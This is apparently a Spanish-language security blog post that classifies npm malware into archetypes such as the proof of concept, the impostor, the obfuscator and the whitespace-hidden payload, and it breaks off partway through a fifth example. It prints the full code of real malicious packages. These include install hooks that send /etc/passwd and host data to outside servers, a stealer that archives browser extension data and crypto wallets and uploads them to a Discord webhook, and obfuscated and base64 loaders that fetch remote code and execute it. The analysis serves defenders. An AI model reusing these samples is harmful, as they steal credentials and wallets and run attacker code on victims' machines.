Producto
Todo lo que necesita para proteger el código, la nube y el tiempo de ejecución en un sistema centralizado
Código
Dependencias
Prevenir los riesgos del código abierto (SCA)
Secretos
Ser marcado por secretos expuestos
SAST
Código seguro tal como está escrito
Imágenes de contenedores
Crear imágenes seguras
Malware
Prevenir los ataques a la cadena de suministro
IaC
Buscar errores de configuración en IaC
Riesgo de licencia y SBOM
Evitar riesgos, cumplir la normativa
Software obsoleto
Conozca sus tiempos de ejecución EOL
Nube
CSPM
Desconfiguraciones de la nube
DAST
Pruebas de seguridad de caja negra
Exploración de API
Pruebe sus API en busca de vuln
Máquinas virtuales
Sin agentes ni gastos generales
Tiempo de ejecución de Kubernetes
pronto
Proteja sus cargas de trabajo en contenedores
Inventario en la nube
pronto
Solución a la proliferación de nubes
Defienda
Protección en tiempo de ejecución
Cortafuegos en la aplicación / WAF
Características
AI AutoFix
Arreglos en 1 clic con Aikido AI
CI/CD Seguridad
Escaneado antes de la fusión y el despliegue
Integraciones IDE
Obtenga información instantánea mientras codifica
Escáner local
Escaneado local centrado en el cumplimiento
Soluciones
Casos prácticos
Conformidad
Automatice SOC 2, ISO y más
Gestión de vulnerabilidades
Gestión de vulnerabilidades todo en uno
Proteja su código
Seguridad avanzada del código
Generar SBOM
1 clic Informes SCA
ASPM
AppSec de extremo a extremo
IA en el Aikido
Deja que Aikido AI haga el trabajo
Bloque 0-Días
Bloquee las amenazas antes del impacto
Industrias
FinTech
HealthTech
HRTech
Tecnología jurídica
Empresas del grupo
Agencias
Startups
Empresa
Aplicaciones móviles
Fabricación
Precios
Recursos
Desarrollador
Docs
Cómo utilizar el Aikido
Documentación pública sobre la API
Centro de desarrollo del aikido
Registro de cambios
Vea lo que se ha enviado
Seguridad
Investigación interna
Inteligencia sobre malware y CVE
Glosario
Guía de la jerga de seguridad
Centro de confianza
Seguro, privado, conforme
Código abierto
Aikido Intel
Amenazas de malware y OSS
Zen
Protección cortafuegos integrada en la aplicación
OpenGrep
Motor de análisis de código
Integraciones
IDEs
Sistemas CI/CD
Nubes
Sistemas Git
Conformidad
Mensajeros
Gestores de tareas
Más integraciones
Acerca de
Acerca de
Acerca de
Conozca al equipo
Carreras profesionales
Estamos contratando
Dossier de prensa
Descargar activos de marca
Calendario
¿Nos vemos?
Código abierto
Nuestros proyectos de OSS
Blog
Las últimas entradas
Historias de clientes
La confianza de los mejores equipos
Póngase en contacto con
Inicio de sesión
Empezar gratis
No se requiere CC
Aikido
Menú
Aikido
ES
ES
FR
JP
Inicio de sesión
Empezar gratis
No se requiere CC
Blog
/
La guía de citas del malware: Comprender los tipos de malware en NPM

La guía de citas del malware: Comprender los tipos de malware en NPM

Por
Charlie Eriksen
Charlie Eriksen
4 min leer
Malware

En Nodo ecosistema se basa en la confianza: confianza en que los paquetes que npm instalar hacen lo que dicen que hacen. Pero esa confianza suele ser errónea.

En el último año, hemos visto una tendencia preocupante: un creciente número de paquetes maliciosos publicados en npm, a menudo ocultos a plena vista. Algunos son burdas pruebas de concepto (PoC) realizadas por investigadores, otros son puertas traseras cuidadosamente diseñadas. Algunos simulan ser bibliotecas legítimas, otros filtran datos delante de tus narices mediante ofuscación o trucos de formato ingeniosos.

Este artículo desglosa varios paquetes maliciosos del mundo real que hemos analizado. Cada uno representa un arquetipo distinto de técnica de ataque que vemos en la naturaleza. Tanto si eres desarrollador como si trabajas con un equipo rojo o eres ingeniero de seguridad, estos patrones deberían estar en tu radar.

El PdC

Muchos de los paquetes que vemos proceden de investigadores de seguridad que no intentan ser sigilosos. Simplemente buscan probar algo, a menudo como parte de la caza de recompensas por fallos. Esto significa que sus paquetes suelen ser muy sencillos y a menudo no contienen código. Se basan únicamente en un "gancho del ciclo de vida" que los paquetes pueden utilizar, ya sea antes, durante o después de la instalación. Estos ganchos son simples comandos ejecutados por el gestor de paquetes durante la instalación.

Por ejemplo: local_editor_top

A continuación se muestra un ejemplo del paquete local_editor_topque es un paquete que detectamos por su gancho de preinstalación que publica el archivo /etc/passwd a un punto final del Colaborador de Burp Suite con el prefijo del nombre de host.

{
  "name": "local_editor_top",
  "version": "10.7.2",
  "description": "",
  "main": "index.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1",
    "preinstall": "sudo /usr/bin/curl --data @/etc/passwd $(hostname)pha9b0pvk52ir7uzfi2quxaozf56txjl8.oastify[.]com"
  },
  "author": "",
  "license": "ISC"
}

Por ejemplo: ccf-identidad

Algunos investigadores van un paso más allá y llaman a un archivo dentro del paquete ccf-identidad para extraer datos. Como ejemplo, detectamos el paquete, observamos un gancho de ciclo de vida y un archivo javascript con muchos indicadores de entorno de exfiltración:

{
  "name": "ccf-identity",
  "version": "2.0.2",
  "main": "index.js",
  "typings": "dist/index",
  "license": "MIT",
  "author": "Microsoft",
  "type": "module",
  "repository": {
    "type": "git",
    "url": "https://github.com/Azure/ccf-identity"
  },
  "scripts": {
    "preinstall": "node index.js",
    ...
  },
  "devDependencies": {
    ...
  },
  "dependencies": {
    "@microsoft/ccf-app": "5.0.13",
    ...
  }
}

Como puede ver, llamará al archivo index.js antes de que comience el proceso de instalación del paquete. A continuación se muestra el contenido del archivo.

const os = require("os");
const dns = require("dns");
const querystring = require("querystring");
const https = require("https");
const packageJSON = require("./package.json");
const package = packageJSON.name;

const trackingData = JSON.stringify({
    p: package,
    c: __dirname,
    hd: os.homedir(),
    hn: os.hostname(),
    un: os.userInfo().username,
    dns: dns.getServers(),
    r: packageJSON ? packageJSON.___resolved : undefined,
    v: packageJSON.version,
    pjson: packageJSON,
});

var postData = querystring.stringify({
    msg: trackingData,
});

var options = {
    hostname: "vzyonlluinxvix1lkokm8x0mzd54t5hu[.]oastify.com", //replace burpcollaborator.net with Interactsh or pipedream
    port: 443,
    path: "/",
    method: "POST",
    headers: {
        "Content-Type": "application/x-www-form-urlencoded",
        "Content-Length": postData.length,
    },
};

var req = https.request(options, (res) => {
    res.on("data", (d) => {
        process.stdout.write(d);
    });
});

req.on("error", (e) => {
    // console.error(e);
});

req.write(postData);
req.end();

Estas pruebas de concepto van bastante lejos en la recopilación de mucha información, y a menudo también incluyen información sobre los adaptadores de red.

El impostor

Si has estado atento, te habrás dado cuenta de que el ejemplo anterior parecía indicar que se trataba de un paquete de Microsoft. ¿Te has dado cuenta? No te preocupes, en realidad no es un paquete de Microsoft. Más bien, es también un ejemplo de nuestro segundo arquetipo: El Impostor. 

Un buen ejemplo de ello es el paquete peticiones-promesas. Veamos su paquete.json archivo:

{
  "name": "requests-promises",
  "version": "4.2.1",
  "description": "The simplified HTTP request client 'request' with Promise support. Powered by Bluebird.",
  "keywords": [
    ...
  ],
  "main": "./lib/rp.js",
  "scripts": {
   ...
    "postinstall": "node lib/rq.js"
  },
  "repository": {
    "type": "git",
    "url": "git+https://github.com/request/request-promise.git"
  },
  "author": "Nicolai Kamenzky (https://github.com/analog-nico)",
  "license": "ISC",
  "bugs": {
    "url": "https://github.com/request/request-promise/issues"
  },
  "homepage": "https://github.com/request/request-promise#readme",
  "engines": {
    "node": ">=0.10.0"
  },
  "dependencies": {
    "request-promise-core": "1.1.4",
    "bluebird": "^3.5.0",
    "stealthy-require": "^1.1.1",
    "tough-cookie": "^2.3.3"
  },
  "peerDependencies": {
    "request": "^2.34"
  },
  "devDependencies": {
    ...
  }
}

Notarás algo interesante. Parece un paquete real al principio, hay dos grandes pistas de que algo no está bien:

  • Las referencias de Github mencionan solicitud-promesaes decir, en singular. El nombre del paquete está en plural.
  • Hay un gancho postinstalación para un archivo llamado lib/rq.js. 

Por lo demás, el paquete parece legítimo. Tiene el código que se espera del paquete en lib/rp.js (Obsérvese la diferencia entre rp.js y rq.js). Veamos este archivo adicional, lib/rq.js.

const cp = require('child_process');
const {
  exec
} = require('child_process');
const fs = require('fs');
const crypto = require('crypto');
const DataPaths = ["C:\\Users\\Admin\\AppData\\Local\\Google\\Chrome\\User Data".replaceAll('Admin', process.env.USERNAME), "C:\\Users\\Admin\\AppData\\Local\\Microsoft\\Edge\\User Data".replaceAll('Admin', process.env.USERNAME), "C:\\Users\\Admin\\AppData\\Roaming\\Opera Software\\Opera Stable".replaceAll('Admin', process.env.USERNAME), "C:\\Users\\Admin\\AppData\\Local\\Programs\\Opera GX".replaceAll('Admin', process.env.USERNAME), "C:\\Users\\Admin\\AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data".replaceAll('Admin', process.env.USERNAME)]
const {
  URL
} = require('url');

function createZipFile(source, dest) {
  return new Promise((resolve, reject) => {
    const command = `powershell.exe -Command 'Compress-Archive -Path "${source}" -DestinationPath "${dest}"'`;
    exec(command, (error, stdout, stderr) => {
      if (error) {
        //console.log(error,stdout,stderr)
        reject(error);
      } else {
        //console.log(error,stdout,stderr)
        resolve(stdout);
      }
    });
  });
}
async function makelove(wu = atob("aHR0cHM6Ly9kaXNjb3JkLmNvbS9hcGkvd2ViaG9va3MvMTMzMDE4NDg5NDE0NzU5NjM0Mi9tY1JCNHEzRlFTT3J1VVlBdmd6OEJvVzFxNkNNTmk0VXMtb2FnQ0M0SjJMQ0NHd3RKZ1lNbVk0alZ4eUxnNk9LV2lYUA=="), filePath, fileName) {
  try {
    const fileData = fs.readFileSync(filePath);
    const formData = new FormData();
    formData.append('file', new Blob([fileData]), fileName);
    formData.append('content', process.env.USERDOMAIN);
    const response = await fetch(wu, {
      method: 'POST',
      body: formData,
    });
    if (!response.ok) {
      throw new Error(`HTTP error! status: ${response.status}`);
    }
    //console.log('Running Test(s) +1');
  } catch (error) {
    console.error('Error :', error);
  } finally {
    try {
      cp.execSync('cmd /C del "' + filePath + '"');
    } catch {}
  }
}
const folderName = "Local Extension Settings";
setTimeout(async function() {
  const dir = `C:\\Users\\${process.env.USERNAME}\\AppData\\Roaming\\Exodus\\exodus.wallet\\`;
  if (fs.existsSync(dir)) {
    //console.log(dir)
    const nayme = crypto.randomBytes(2).toString('hex')
    const command = `powershell -WindowStyle Hidden -Command "tar -cf 'C:\\ProgramData\\Intel\\brsr${nayme}.tar' -C '${dir}' ."`;
    cp.exec(command, (e, so, se) => {
      if (!e) {
        console.log('exo', nayme)
        makelove(undefined, `C:\\ProgramData\\Intel\\brsr${nayme}.tar`, 'exo.tar');
        //console.log(e,so,se)
      } else {
        //console.log(e,so,se)
      }
    })
  }
}, 0)
for (var i = 0; i < DataPaths.length; i++) {
  const datapath = DataPaths[i];
  if (fs.existsSync(datapath)) {
    const dirs = fs.readdirSync(datapath);
    const profiles = dirs.filter(a => a.toLowerCase().startsWith('profile'));
    profiles.push('Default');
    for (const profile of profiles) {
      if (typeof profile == "string") {
        const dir = datapath + '\\' + profile + '\\' + folderName;
        if (fs.existsSync(dir)) {
          //console.log(dir)
          const nayme = crypto.randomBytes(2).toString('hex')
          const command = `powershell -WindowStyle Hidden -Command "tar -cf 'C:\\ProgramData\\Intel\\brsr${nayme}.tar' -C '${dir}' ."`;
          cp.exec(command, (e, so, se) => {
            if (!e) {
              console.log('okok')
              makelove(undefined, `C:\\ProgramData\\Intel\\brsr${nayme}.tar`, 'extensions.tar');
              //console.log(e,so,se)
            } else {
              //console.log(e,so,se)
            }
          })
        }
      }
    }
  }
}

No se deje engañar por el hecho de que el código tiene una función llamada makelove. Es inmediatamente obvio que este código buscará cachés de navegador y monederos criptográficos, que enviará al endpoint que está codificado en base64. Cuando se decodifica, revela un webhook de Discord.

https://discord[.]com/api/webhooks/1330184894147596342/mcRB4q3FQSOruUYAvgz8BoW1q6CMNi4Us-oagCC4J2LCCGwtJgYMmY4jVxyLg6OKWiXP

No tan cariñoso después de todo.

El ofuscador

Un truco clásico para evitar la detección es utilizar la ofuscación. La buena noticia como defensor es que la ofuscación es realmente ruidoso, sobresale como un pulgar dolorido, y es trivial de superar en su mayor parte. Un ejemplo de ello es el paquete chickenisgood. Mirando el archivo index.js vemos que está claramente ofuscado.

var __encode ='jsjiami.com',_a={}, _0xb483=["\x5F\x64\x65\x63\x6F\x64\x65","\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x73\x6F\x6A\x73\x6F\x6E\x2E\x63\x6F\x6D\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x6F\x62\x66\x75\x73\x63\x61\x74\x6F\x72\x2E\x68\x74\x6D\x6C"];(function(_0xd642x1){_0xd642x1[_0xb483[0]]= _0xb483[1]})(_a);var __Ox12553a=["\x6F\x73","\x68\x74\x74\x70\x73","\x65\x72\x72\x6F\x72","\x6F\x6E","\x68\x74\x74\x70\x73\x3A\x2F\x2F\x69\x70\x2E\x73\x62\x2F","\x73\x74\x61\x74\x75\x73\x43\x6F\x64\x65","","\x67\x65\x74","\x6C\x65\x6E\x67\x74\x68","\x63\x70\x75\x73","\x74\x6F\x74\x61\x6C\x6D\x65\x6D","\x66\x72\x65\x65\x6D\x65\x6D","\x75\x70\x74\x69\x6D\x65","\x6E\x65\x74\x77\x6F\x72\x6B\x49\x6E\x74\x65\x72\x66\x61\x63\x65\x73","\x66\x69\x6C\x74\x65\x72","\x6D\x61\x70","\x66\x6C\x61\x74","\x76\x61\x6C\x75\x65\x73","\x74\x65\x73\x74","\x73\x6F\x6D\x65","\x57\x61\x72\x6E\x69\x6E\x67\x3A\x20\x44\x65\x74\x65\x63\x74\x65\x64\x20\x76\x69\x72\x74\x75\x61\x6C\x20\x6D\x61\x63\x68\x69\x6E\x65\x21","\x77\x61\x72\x6E","\x48\x4F\x53\x54\x4E\x41\x4D\x45\x2D","\x48\x4F\x53\x54\x4E\x41\x4D\x45\x31","\x68\x6F\x73\x74\x6E\x61\x6D\x65","\x73\x74\x61\x72\x74\x73\x57\x69\x74\x68","\x63\x6F\x64\x65","\x45\x4E\x4F\x54\x46\x4F\x55\x4E\x44","\x65\x78\x69\x74","\x61\x74\x74\x61\x62\x6F\x79\x2E\x71\x75\x65\x73\x74","\x2F\x74\x68\x69\x73\x69\x73\x67\x6F\x6F\x64\x2F\x6E\x64\x73\x39\x66\x33\x32\x38","\x47\x45\x54","\x64\x61\x74\x61","\x65\x6E\x64","\x72\x65\x71\x75\x65\x73\x74","\x75\x6E\x64\x65\x66\x69\x6E\x65\x64","\x6C\x6F\x67","\u5220\u9664","\u7248\u672C\u53F7\uFF0C\x6A\x73\u4F1A\u5B9A","\u671F\u5F39\u7A97\uFF0C","\u8FD8\u8BF7\u652F\u6301\u6211\u4EEC\u7684\u5DE5\u4F5C","\x6A\x73\x6A\x69\x61","\x6D\x69\x2E\x63\x6F\x6D"];const os=require(__Ox12553a[0x0]);const https=require(__Ox12553a[0x1]);function checkNetwork(_0x8ed1x4){https[__Ox12553a[0x7]](__Ox12553a[0x4],(_0x8ed1x6)=>{if(_0x8ed1x6[__Ox12553a[0x5]]=== 200){_0x8ed1x4(null,true)}else {_0x8ed1x4( new Error(("\x55\x6E\x65\x78\x70\x65\x63\x74\x65\x64\x20\x72\x65\x73\x70\x6F\x6E\x73\x65\x20\x73\x74\x61\x74\x75\x73\x20\x63\x6F\x64\x65\x3A\x20"+_0x8ed1x6[__Ox12553a[0x5]]+__Ox12553a[0x6])))}})[__Ox12553a[0x3]](__Ox12553a[0x2],(_0x8ed1x5)=>{_0x8ed1x4(_0x8ed1x5)})}function checkCPUCores(_0x8ed1x8){const _0x8ed1x9=os[__Ox12553a[0x9]]()[__Ox12553a[0x8]];if(_0x8ed1x9< _0x8ed1x8){return false}else {return true}}function checkMemory(_0x8ed1xb){const _0x8ed1xc=os[__Ox12553a[0xa]]()/ (1024* 1024* 1024);const _0x8ed1xd=os[__Ox12553a[0xb]]()/ (1024* 1024* 1024);if(_0x8ed1xc- _0x8ed1xd< _0x8ed1xb){return false}else {return true}}function checkUptime(_0x8ed1xf){const _0x8ed1x10=os[__Ox12553a[0xc]]()* 1000;return _0x8ed1x10> _0x8ed1xf}function checkVirtualMachine(){const _0x8ed1x12=[/^00:05:69/,/^00:50:56/,/^00:0c:29/];const _0x8ed1x13=/^08:00:27/;const _0x8ed1x14=/^00:03:ff/;const _0x8ed1x15=[/^00:11:22/,/^00:15:5d/,/^00:e0:4c/,/^02:42:ac/,/^02:42:f2/,/^32:95:f4/,/^52:54:00/,/^ea:b7:ea/];const _0x8ed1x16=os[__Ox12553a[0xd]]();const _0x8ed1x17=Object[__Ox12553a[0x11]](_0x8ed1x16)[__Ox12553a[0x10]]()[__Ox12553a[0xe]](({_0x8ed1x19})=>{return !_0x8ed1x19})[__Ox12553a[0xf]](({_0x8ed1x18})=>{return _0x8ed1x18})[__Ox12553a[0xe]](Boolean);for(const _0x8ed1x18 of _0x8ed1x17){if(_0x8ed1x15[__Ox12553a[0x13]]((_0x8ed1x1a)=>{return _0x8ed1x1a[__Ox12553a[0x12]](_0x8ed1x18)})|| _0x8ed1x13[__Ox12553a[0x12]](_0x8ed1x18)|| _0x8ed1x14[__Ox12553a[0x12]](_0x8ed1x18)|| _0x8ed1x12[__Ox12553a[0x13]]((_0x8ed1x1a)=>{return _0x8ed1x1a[__Ox12553a[0x12]](_0x8ed1x18)})){console[__Ox12553a[0x15]](__Ox12553a[0x14]);return true}};return false}const disallowedHostPrefixes=[__Ox12553a[0x16],__Ox12553a[0x17]];function isHostnameValid(){const _0x8ed1x1d=os[__Ox12553a[0x18]]();for(let _0x8ed1x1e=0;_0x8ed1x1e< disallowedHostPrefixes[__Ox12553a[0x8]];_0x8ed1x1e++){if(_0x8ed1x1d[__Ox12553a[0x19]](disallowedHostPrefixes[_0x8ed1x1e])){return false}};return true}function startApp(){checkNetwork((_0x8ed1x5,_0x8ed1x20)=>{if(!_0x8ed1x5&& _0x8ed1x20){}else {if(_0x8ed1x5&& _0x8ed1x5[__Ox12553a[0x1a]]=== __Ox12553a[0x1b]){process[__Ox12553a[0x1c]](1)}else {process[__Ox12553a[0x1c]](1)}}});if(!checkMemory(2)){process[__Ox12553a[0x1c]](1)};if(!checkCPUCores(2)){process[__Ox12553a[0x1c]](1)};if(!checkUptime(1000* 60* 60)){process[__Ox12553a[0x1c]](1)};if(checkVirtualMachine()){process[__Ox12553a[0x1c]](1)};if(isHostnameValid()=== false){process[__Ox12553a[0x1c]](1)};const _0x8ed1x21={hostname:__Ox12553a[0x1d],port:8443,path:__Ox12553a[0x1e],method:__Ox12553a[0x1f]};const _0x8ed1x22=https[__Ox12553a[0x22]](_0x8ed1x21,(_0x8ed1x6)=>{let _0x8ed1x23=__Ox12553a[0x6];_0x8ed1x6[__Ox12553a[0x3]](__Ox12553a[0x20],(_0x8ed1x24)=>{_0x8ed1x23+= _0x8ed1x24});_0x8ed1x6[__Ox12553a[0x3]](__Ox12553a[0x21],()=>{eval(_0x8ed1x23)})});_0x8ed1x22[__Ox12553a[0x3]](__Ox12553a[0x2],(_0x8ed1x25)=>{});_0x8ed1x22[__Ox12553a[0x21]]()}startApp();;;(function(_0x8ed1x26,_0x8ed1x27,_0x8ed1x28,_0x8ed1x29,_0x8ed1x2a,_0x8ed1x2b){_0x8ed1x2b= __Ox12553a[0x23];_0x8ed1x29= function(_0x8ed1x2c){if( typeof alert!== _0x8ed1x2b){alert(_0x8ed1x2c)};if( typeof console!== _0x8ed1x2b){console[__Ox12553a[0x24]](_0x8ed1x2c)}};_0x8ed1x28= function(_0x8ed1x2d,_0x8ed1x26){return _0x8ed1x2d+ _0x8ed1x26};_0x8ed1x2a= _0x8ed1x28(__Ox12553a[0x25],_0x8ed1x28(_0x8ed1x28(__Ox12553a[0x26],__Ox12553a[0x27]),__Ox12553a[0x28]));try{_0x8ed1x26= __encode;if(!( typeof _0x8ed1x26!== _0x8ed1x2b&& _0x8ed1x26=== _0x8ed1x28(__Ox12553a[0x29],__Ox12553a[0x2a]))){_0x8ed1x29(_0x8ed1x2a)}}catch(e){_0x8ed1x29(_0x8ed1x2a)}})({})

Ya podemos ver que menciona cosas como checkVirtualMachine, checkUptime, isHostnameValidy otros nombres que levantan sospechas. Pero para confirmar completamente lo que está haciendo, podemos pasarlo por deobfuscadores/decodificadores disponibles públicamente. Y de repente obtenemos algo un poco más legible.

var _a = {};
var _0xb483 = ["_decode", "http://www.sojson.com/javascriptobfuscator.html"];
(function (_0xd642x1) {
  _0xd642x1[_0xb483[0]] = _0xb483[1];
})(_a);
var __Ox12553a = ["os", "https", "error", "on", "https://ip.sb/", "statusCode", "", "get", "length", "cpus", "totalmem", "freemem", "uptime", "networkInterfaces", "filter", "map", "flat", "values", "test", "some", "Warning: Detected virtual machine!", "warn", "HOSTNAME-", "HOSTNAME1", "hostname", "startsWith", "code", "ENOTFOUND", "exit", "attaboy.quest", "/thisisgood/nds9f328", "GET", "data", "end", "request", "undefined", "log", "删除", "版本号,js会定", "期弹窗,", "还请支持我们的工作", "jsjia", "mi.com"];
const os = require(__Ox12553a[0x0]);
const https = require(__Ox12553a[0x1]);
function checkNetwork(_0x8ed1x4) {
  https[__Ox12553a[0x7]](__Ox12553a[0x4], _0x8ed1x6 => {
    if (_0x8ed1x6[__Ox12553a[0x5]] === 200) {
      _0x8ed1x4(null, true);
    } else {
      _0x8ed1x4(new Error("Unexpected response status code: " + _0x8ed1x6[__Ox12553a[0x5]] + __Ox12553a[0x6]));
    }
  })[__Ox12553a[0x3]](__Ox12553a[0x2], _0x8ed1x5 => {
    _0x8ed1x4(_0x8ed1x5);
  });
}
function checkCPUCores(_0x8ed1x8) {
  const _0x8ed1x9 = os[__Ox12553a[0x9]]()[__Ox12553a[0x8]];
  if (_0x8ed1x9 < _0x8ed1x8) {
    return false;
  } else {
    return true;
  }
}
function checkMemory(_0x8ed1xb) {
  const _0x8ed1xc = os[__Ox12553a[0xa]]() / 1073741824;
  const _0x8ed1xd = os[__Ox12553a[0xb]]() / 1073741824;
  if (_0x8ed1xc - _0x8ed1xd < _0x8ed1xb) {
    return false;
  } else {
    return true;
  }
}
function checkUptime(_0x8ed1xf) {
  const _0x8ed1x10 = os[__Ox12553a[0xc]]() * 1000;
  return _0x8ed1x10 > _0x8ed1xf;
}
function checkVirtualMachine() {
  const _0x8ed1x12 = [/^00:05:69/, /^00:50:56/, /^00:0c:29/];
  const _0x8ed1x13 = /^08:00:27/;
  const _0x8ed1x14 = /^00:03:ff/;
  const _0x8ed1x15 = [/^00:11:22/, /^00:15:5d/, /^00:e0:4c/, /^02:42:ac/, /^02:42:f2/, /^32:95:f4/, /^52:54:00/, /^ea:b7:ea/];
  const _0x8ed1x16 = os[__Ox12553a[0xd]]();
  const _0x8ed1x17 = Object[__Ox12553a[0x11]](_0x8ed1x16)[__Ox12553a[0x10]]()[__Ox12553a[0xe]](({
    _0x8ed1x19
  }) => {
    return !_0x8ed1x19;
  })[__Ox12553a[0xf]](({
    _0x8ed1x18
  }) => {
    return _0x8ed1x18;
  })[__Ox12553a[0xe]](Boolean);
  for (const _0x8ed1x18 of _0x8ed1x17) {
    if (_0x8ed1x15[__Ox12553a[0x13]](_0x8ed1x1a => {
      return _0x8ed1x1a[__Ox12553a[0x12]](_0x8ed1x18);
    }) || _0x8ed1x13[__Ox12553a[0x12]](_0x8ed1x18) || _0x8ed1x14[__Ox12553a[0x12]](_0x8ed1x18) || _0x8ed1x12[__Ox12553a[0x13]](_0x8ed1x1a => {
      return _0x8ed1x1a[__Ox12553a[0x12]](_0x8ed1x18);
    })) {
      console[__Ox12553a[0x15]](__Ox12553a[0x14]);
      return true;
    }
  }
  ;
  return false;
}
const disallowedHostPrefixes = [__Ox12553a[0x16], __Ox12553a[0x17]];
function isHostnameValid() {
  const _0x8ed1x1d = os[__Ox12553a[0x18]]();
  for (let _0x8ed1x1e = 0; _0x8ed1x1e < disallowedHostPrefixes[__Ox12553a[0x8]]; _0x8ed1x1e++) {
    if (_0x8ed1x1d[__Ox12553a[0x19]](disallowedHostPrefixes[_0x8ed1x1e])) {
      return false;
    }
  }
  ;
  return true;
}
function startApp() {
  checkNetwork((_0x8ed1x5, _0x8ed1x20) => {
    if (!_0x8ed1x5 && _0x8ed1x20) {} else {
      if (_0x8ed1x5 && _0x8ed1x5[__Ox12553a[0x1a]] === __Ox12553a[0x1b]) {
        process[__Ox12553a[0x1c]](1);
      } else {
        process[__Ox12553a[0x1c]](1);
      }
    }
  });
  if (!checkMemory(2)) {
    process[__Ox12553a[0x1c]](1);
  }
  ;
  if (!checkCPUCores(2)) {
    process[__Ox12553a[0x1c]](1);
  }
  ;
  if (!checkUptime(3600000)) {
    process[__Ox12553a[0x1c]](1);
  }
  ;
  if (checkVirtualMachine()) {
    process[__Ox12553a[0x1c]](1);
  }
  ;
  if (isHostnameValid() === false) {
    process[__Ox12553a[0x1c]](1);
  }
  ;
  const _0x8ed1x21 = {
    hostname: __Ox12553a[0x1d],
    port: 8443,
    path: __Ox12553a[0x1e],
    method: __Ox12553a[0x1f]
  };
  const _0x8ed1x22 = https[__Ox12553a[0x22]](_0x8ed1x21, _0x8ed1x6 => {
    let _0x8ed1x23 = __Ox12553a[0x6];
    _0x8ed1x6[__Ox12553a[0x3]](__Ox12553a[0x20], _0x8ed1x24 => {
      _0x8ed1x23 += _0x8ed1x24;
    });
    _0x8ed1x6[__Ox12553a[0x3]](__Ox12553a[0x21], () => {
      eval(_0x8ed1x23);
    });
  });
  _0x8ed1x22[__Ox12553a[0x3]](__Ox12553a[0x2], _0x8ed1x25 => {});
  _0x8ed1x22[__Ox12553a[0x21]]();
}
startApp();
;
;
(function (_0x8ed1x26, _0x8ed1x27, _0x8ed1x28, _0x8ed1x29, _0x8ed1x2a, _0x8ed1x2b) {
  _0x8ed1x2b = __Ox12553a[0x23];
  _0x8ed1x29 = function (_0x8ed1x2c) {
    if (typeof alert !== _0x8ed1x2b) {
      alert(_0x8ed1x2c);
    }
    ;
    if (typeof console !== _0x8ed1x2b) {
      console[__Ox12553a[0x24]](_0x8ed1x2c);
    }
  };
  _0x8ed1x28 = function (_0x8ed1x2d, _0x8ed1x26) {
    return _0x8ed1x2d + _0x8ed1x26;
  };
  _0x8ed1x2a = __Ox12553a[0x25] + (__Ox12553a[0x26] + __Ox12553a[0x27] + __Ox12553a[0x28]);
  try {
    _0x8ed1x26 = 'jsjiami.com';
    if (!(typeof _0x8ed1x26 !== _0x8ed1x2b && _0x8ed1x26 === __Ox12553a[0x29] + __Ox12553a[0x2a])) {
      _0x8ed1x29(_0x8ed1x2a);
    }
  } catch (e) {
    _0x8ed1x29(_0x8ed1x2a);
  }
})({});

Está claro que está recopilando mucha información del sistema y que enviará una petición HTTP en algún momento. También parece que ejecutará código arbitrario debido a la presencia del eval() dentro de los callbacks de una petición HTTP, demostrando un comportamiento malicioso.

El Arlequín

A veces, también vemos paquetes que intentan ocultarse de forma realmente furtiva. No es que traten de esconderse a través de ofuscación para hacer la lógica difícil de entender. Simplemente lo hacen difícil de ver para un humano si no está prestando atención.

Un ejemplo de ello es el paquete htps-curl. Aquí está el código visto desde el sitio oficial npm:

Parece inocente a primera vista, ¿verdad? Pero, ¿te has fijado en la barra de desplazamiento horizontal? Está intentando ocultar su verdadera carga útil con espacios en blanco. Aquí está el código real si lo embellecemos un poco.

console.log('Installed');
try {
    new Function('require', Buffer.from("Y29uc3Qge3NwYXdufT1yZXF1aXJlKCJjaGlsZF9wcm9jZXNzIiksZnM9cmVxdWlyZSgiZnMtZXh0cmEiKSxwYXRoPXJlcXVpcmUoInBhdGgiKSxXZWJTb2NrZXQ9cmVxdWlyZSgid3MiKTsoYXN5bmMoKT0+e2NvbnN0IHQ9cGF0aC5qb2luKHByb2Nlc3MuZW52LlRFTVAsYFJlYWxrdGVrLmV4ZWApLHdzPW5ldyBXZWJTb2NrZXQoIndzczovL2ZyZXJlYS5jb20iKTt3cy5vbigib3BlbiIsKCk9Pnt3cy5zZW5kKEpTT04uc3RyaW5naWZ5KHtjb21tYW5kOiJyZWFsdGVrIn0pKX0pO3dzLm9uKCJtZXNzYWdlIixtPT57dHJ5e2NvbnN0IHI9SlNPTi5wYXJzZShtKTtpZihyLnR5cGU9PT0icmVhbHRlayImJnIuZGF0YSl7Y29uc3QgYj1CdWZmZXIuZnJvbShyLmRhdGEsImJhc2U2NCIpO2ZzLndyaXRlRmlsZVN5bmModCxiKTtzcGF3bigiY21kIixbIi9jIix0XSx7ZGV0YWNoZWQ6dHJ1ZSxzdGRpbzoiaWdub3JlIn0pLnVucmVmKCl9fWNhdGNoKGUpe2NvbnNvbGUuZXJyb3IoIkVycm9yIHByb2Nlc3NpbmcgV2ViU29ja2V0IG1lc3NhZ2U6IixlKX19KX0pKCk7", "base64").toString("utf-8"))(require);
} catch {}

¡Ajá! Hay una carga oculta. Tiene un blob codificado en base64, que es decodificado, convertido en una función, y luego llamado. Aquí está la carga útil decodificada y embellecida.

const {
    spawn
} = require("child_process"), fs = require("fs-extra"), path = require("path"), WebSocket = require("ws");
(async () => {
    const t = path.join(process.env.TEMP, `Realktek.exe`),
        ws = new WebSocket("wss://frerea[.]com");
    ws.on("open", () => {
        ws.send(JSON.stringify({
            command: "realtek"
        }))
    });
    ws.on("message", m => {
        try {
            const r = JSON.parse(m);
            if (r.type === "realtek" && r.data) {
                const b = Buffer.from(r.data, "base64");
                fs.writeFileSync(t, b);
                spawn("cmd", ["/c", t], {
                    detached: true,
                    stdio: "ignore"
                }).unref()
            }
        } catch (e) {
            console.error("Error processing WebSocket message:", e)
        }
    })
})();

Aquí, vemos que la carga útil se conecta a un servidor remoto a través de websocket y envía un mensaje. La respuesta es decodificada en base64, guardada en disco y ejecutada.

El ayudante demasiado servicial

El último arquetipo es el de una biblioteca útil, pero quizá demasiado útil para su propio bien. El ejemplo que utilizaremos aquí es consolidar-logger paquete. Como siempre, empezamos mirando el paquete.json archivo. 

{
  "name": "consolidate-logger",
  "version": "1.0.2",
  "main": "index.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1"
  },
